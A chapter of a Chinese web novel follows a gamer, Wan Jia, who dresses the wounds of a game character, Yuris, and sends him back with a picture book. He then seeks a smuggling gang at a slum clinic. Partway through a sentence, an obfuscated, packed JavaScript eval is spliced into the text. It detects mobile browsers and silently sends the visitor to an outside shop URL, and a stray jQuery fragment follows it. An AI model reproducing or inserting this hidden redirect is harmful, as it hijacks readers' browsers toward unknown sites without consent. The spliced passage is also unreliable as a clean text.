“万佳大人!”
尤里斯快步冲来,双臂张开,几乎下一刻就要将她拥进怀里。可在手臂即将落下时,他的动作骤然停住,双臂悬在万佳身体两侧,手指在半空中蜷了蜷,最终缓缓垂落,只剩下一句克制的问候:“您还好吗?刚才……您是进入那个世界了吗?”
他站得太近,呼吸拂过万佳的额顶,带着刚刚战斗后的热意。
万佳一怔,抬头:“你知道?”
“书本被毁时,我看见了你的身影。”尤里斯的目光一刻不移地停在她脸上,“那道攻击有伤到你吗?”
“我没事,只是没想到会出现祭司,好在现在都解决了。”
万佳拍拍他的肩膀,语气轻快,顺势绕过尤里斯走进房间,坐回电脑前,视线迅速扫过屏幕,思绪重新投入游戏推演。
“从你能穿越那刻起,很多情况都变得不一样了。神庙里的卷轴能带出来,数值也获得了新的突破,这些变化或许能成为我们通关的关键……”
万佳一边思索,一边将思路讲出来。
她的语速渐快,像在自言自语,又像在对尤里斯讲解。直到声音停下,万佳才发现身旁的人已沉默许久。
尤里斯正静静地半蹲在一旁,仰头望着她,目光一瞬未移。
“哦对,你还受着伤。”万佳忽然反应过来。
他胸前的衣料已被血液浸透,暗红色沿着布料晕开,好在没有持续扩散,有了停止的趋势。
之前那一击的伤势,她竟险些忘了。偏偏不知尤里斯怎么想的,就这么守在旁边听她说了半天,一字不提伤势。
停留在现实的时间有限,不够他们去医院。万佳取来药箱,拉着尤里斯在床边坐下,动作略显生疏地替他处理伤口。
剪刀沿着破损的衣料剪开,焦黑的伤口裸/露出来。神术灼烧留下的痕迹横亘在胸口,血迹已半干,凝结在棕色的皮肤上。
“之后得去医馆处理。”万佳皱眉,将纱布压在伤口上。
布料触碰皮肤的瞬间,尤里斯轻轻吸了口气,肌肉随之绷紧,胸腹间的线条因此更显分明。紧实的肌肉牵动伤口,又被他慢慢呼气强行放松下来。
万佳的手停了一瞬。
离得太近了。
近到她能清楚看见胸膛起伏时肌肉细微的牵动,甚至能感觉到掌下皮肤透过纱布传来的温度。
尤里斯的身形其实称不上魁梧,可衣服下面的身体却远比看上去结实。肩胸的轮廓利落,肌肉紧实地贴合在骨骼上,因为古铜色皮肤的原因,线条显得更为清晰。
变成书时曾贴近过的触感,从万佳的记忆里浮现出来。
不,该专心。
她将注意力拉回手里的棉签,没话找话地问:“你现在多少岁?”
尤里斯:“他们说是十八。”
居然比她还小一岁。
万佳的思绪游移着,手上的动作倒是自然了许多。
“十八……”万佳随口问,“在你们那里算成年了吗?”
“角斗场不在意这个。”尤里斯语气平淡,“被角斗场主养着的奴隶,能活到这个年纪的大多已经战斗了很多次,身上也都有旧伤。观众们看腻了,就可以安排和最新最强的角斗士战斗了。”
“为什么?”
“给新人当战绩,”尤里斯道,“观众们总喜欢看新的胜者。”
“如果之前的人赢了呢?”
“那就继续,直到死在角斗场上,或者运气好点被哪个雇佣军买走吧。”尤里斯说得很平静,“不过一般等不到这个时候。”
万佳手上的动作一滞,曾见过的一个个死亡结局从记忆中翻涌出来。
她太熟悉尤里斯会怎么死了。
死在角斗场,死在试炼里,死于神术,死于怪物,死于一次错误的选择……几十轮攻略留下的死亡记录,她可以清楚记得其中大半。
“尤里斯,”万佳抬起头,语气坚定,“这一回,我会努力不让你死的。”
尤里斯垂下眼,看着她贴上最后一块胶带,轻声应道:“嗯。您还要我走到更高的地方,我会做到的。”
万佳的手还停留在胸前,只要抬手就能握住。尤里斯垂在身侧的手指动了动,最终什么也没有做。
胶带贴好,万佳收起药箱,尤里斯坐在一边帮她整理东西,将多余的纱布塞回盒中。
趁还有时间,万佳立刻安排起下一步操作。她起桌上一只旧笔记本,快速翻页,停在一行潦草字迹前:
伊萨米个人线:触发神庙追捕事件——debuff,动摇中的信徒,魔力值减少。
“神庙追捕之后,伊萨米会因为信仰崩塌而陷入负面状态。这个状态会让她的魔力值固定减少2点,而且不会自然恢复。”她一边说,一边扫视笔记,“除非建立新的信仰,或者,通过阅读稳定心智,这也是之前我让你把卷轴给她的原因。”
“新的信仰?”尤里斯不解,“君主统一后,世上只剩永日教。”
“其他教派呢?旧教派呢?或者地下的小组织?”
“早清理干净了。至少明面上如此。”
“好吧,先放一边。”万佳想起,她确实没在游戏中见到过别的宗教,“关于伊萨米的负面状态,我有两个解法。”
“一是让她参与某个特殊的试炼任务,通过任务经历彻底放弃对神的信仰;另一个,是送她三本书,在阅读过程中逐步清除负面状态。但这两个选项,现在都做不到。特殊任务还没抽中,书没有提前从其他支线拿到。神庙那边恐怕也已经交恶……”
她说完,停顿片刻。
尤里斯没听懂里面的很多名词,但还是认真地说:“不管您说什么,我都会去做的。”
万佳视线一转,看向尤里斯:“我们现在还能进神庙吗?”
“如果您希望,我可以去。”尤里斯说,“但他们应该已经对我警戒,再动手恐怕有一些难度。”
果然,三本书很难直接拿了。
万佳手指轻敲桌面,脑子飞快运转。
上次尤里斯能把现实世界的水果刀带进游戏,那这次,能不能试试……书?
万佳起身走到书架前,随手取下一本精装的民俗志,在手里掂了掂重量。
“这是您这边世界的书?”尤里斯问。
“对。”她把书递过去,“你看得懂吗?”
尤里斯接过,一开始甚至想向下卷开,试了几下,才知道如何翻页,最后苦笑着摇头。
万佳于是将书放下,又从书架的角落里翻出一本绘本。那是她小时候看的旧书,页角已经泛黄,但图文极为简单,很容易理解。
“这本呢?”万佳问。
“看不懂文字,但大概能猜出些意思。”
“那就行。”她将书递过去,“拿给伊萨米看,试试能不能解除状态。”
白光已开始在周围浮动,传送正在启动。
尤里斯抱紧那本书,认真点头:“明白。”
在他不舍的目光中,光芒吞没了尤里斯的身影。
万佳站在原地,看着他消失,深吸一口气,重新回到电脑前坐下。
这是一次没有在攻略中出现过的、属于她自己的测试,是她在现实和游戏之间边界的又一次试探。
指尖落在鼠标上,她正要点击继续,手机突然震动了一下。
屏幕亮起,一条来自朋友的消息跳出,打断了她沉浸在游戏中的状态。
【我放假回来啦,有空要不要一块出去玩?】
——
白光散去。
周围一片混乱。神官们围在祭司身边,有人在高声咏唱,有人在试图止血。撤离的命令还未下达,但群龙无首的人们已不想停留在此处,咒阵残留的能量在地面上闪烁着细碎金光。
所有人的注意力都集中在倒下的祭司身上,没人有余力顾及周围。
也没人注意到尤里斯短暂的消失。
他站在混乱的战圈边缘,低头看了眼怀里的书,趁没人注意快步撤离。
伊萨米倒在一旁,被撞翻的砖石挡住了一半身体,脸色发白,气息虚弱却仍有起伏。尤里斯蹲下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915537|213311||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身,一把将她背起。
他快速奔跑,一路穿过侧门,顺着小巷走远,向着城西贫民区的边缘而去。
那些穿着白袍的神官仍沉浸在“祭司倒下”的震惊中,无人注意这个带着血迹的身影消失在暮色中。
天色昏暗,风从巷口灌进来,带着城西污水与药草混合的味道。
屋子低矮破旧,门虚掩着,一名老妪正蹲在地上拨弄药材。她抬头看了眼血迹斑斑的两人,却并不惊讶,只抬手指向屋内的草席:“把那女孩放那。我先处理她,你的伤等会再说。”
说这话时,她卷起的袖子下露出扎实的肌肉线条,也难怪这间医馆敢开在这条街,却没人敢闹事。
不过几分钟,她就捧着一小捧草药到伊萨米跟前查看伤口,接着走到尤里斯面前,语气干脆:“五枚铜币,先付再治,没有就滚。”
尤里斯取出钱袋,倒出铜币放到她手心。
老妪嗯了一声,转身处理伊萨米的伤口,手法麻利,语气却仍粗硬:“失血不少,能不能活就看命吧。”
尤里斯没说话,只在一旁看着。就在这时,口袋中的石板发热,迸发出蓝光,落到躺在草席的伊萨米手上,浮现出一枚契约烙印,这是试炼之板在履行伊萨米在战斗中的承诺。
任务完成,尤里斯避过身走到角落,抚过石板表面,抽取新试炼。
【命运从不眷顾独行者。你需要盟友,也需要更多能握稳刀刃的手。】
【七日之内,与一个势力建立合作,并取得其认可。】
与此同时,多日未见的黑框在眼前一闪而过。
【主线任务:试炼3——寻找盟友】
【时间:5日】
【描述:独行者难以走远。你需要在有限的时间内,与某个势力建立最低程度的信任。】
【任务进度:与某个势力建立有效联系(0/1),增加声望值(0/1)】
尤里斯垂下眼,思索着。
他想起自己曾从洛伦口中听过的传闻。
都城中除了无人撼动的教派,高高在上的贵族,平民与奴隶中也形成了三教九流。
城西有个盘踞多年的地头势力。它在贫民区的声望很高,长期游走在贫民区与地下市场之间,做着走私、情报、护送等黑市生意。据说他们的成员身上有统一的刺青:一束荆条带刺、结出浆果的沙棘刺青,纹在腰侧。
做这种生意过程团伙中,怕是受伤的成员也不少,而这座医馆正好位于城西的巷口,隐蔽、陈旧、无人打听,并且附近没有别的治疗点。
如果那群人真在活动,那这里必然有他们的消息。
尤里斯走向那位老妪,开门见山:“医师,你知道沙棘帮吗?”
老妪手里敷药的动作一顿,随即冷哼一声:“没听过。”
尤里斯不言,只拿起桌上的炭笔,在一块布片上勾勒出那枚刺青的样式。
“接下来我会常来这里,我会注意来治病的人腰后有没有这个图案。”
老妪盯着图案,脸色微变。
短暂的沉默后,她放下药罐,沉声问:“你从哪儿知道这个的?”
尤里斯没有回答,而是直接说:“我有事要找他们谈。”
“委托?”老妪看了他一眼,警惕仍在,但语气缓了几分:“你找错地方了。而且这段时间不行,他们最近有点事,没空搭理你。”
“我可以帮他们。”尤里斯回答,“但我得先见到人。”
“就凭你?”老妪冷笑,“先把你自己的伤口处理好再说吧。”
“不,凭它。”尤里斯没有争辩,从怀中取出试炼之板,“获得石板的试炼者可以凭借它去到王宫外的任何地方,他们一定有需要的时候。”
老妪的目光凝在那块石板上,脸色沉了下来。
片刻后,她开口:“明天黄昏,他们有一批人要来拿东西。就在对面那条巷口的旧染坊,你想试就自己去。”
与此同时,另一个世界的游戏界面中,【逸闻卡】正悄然燃尽,化作细碎的虚光,从界面中消失。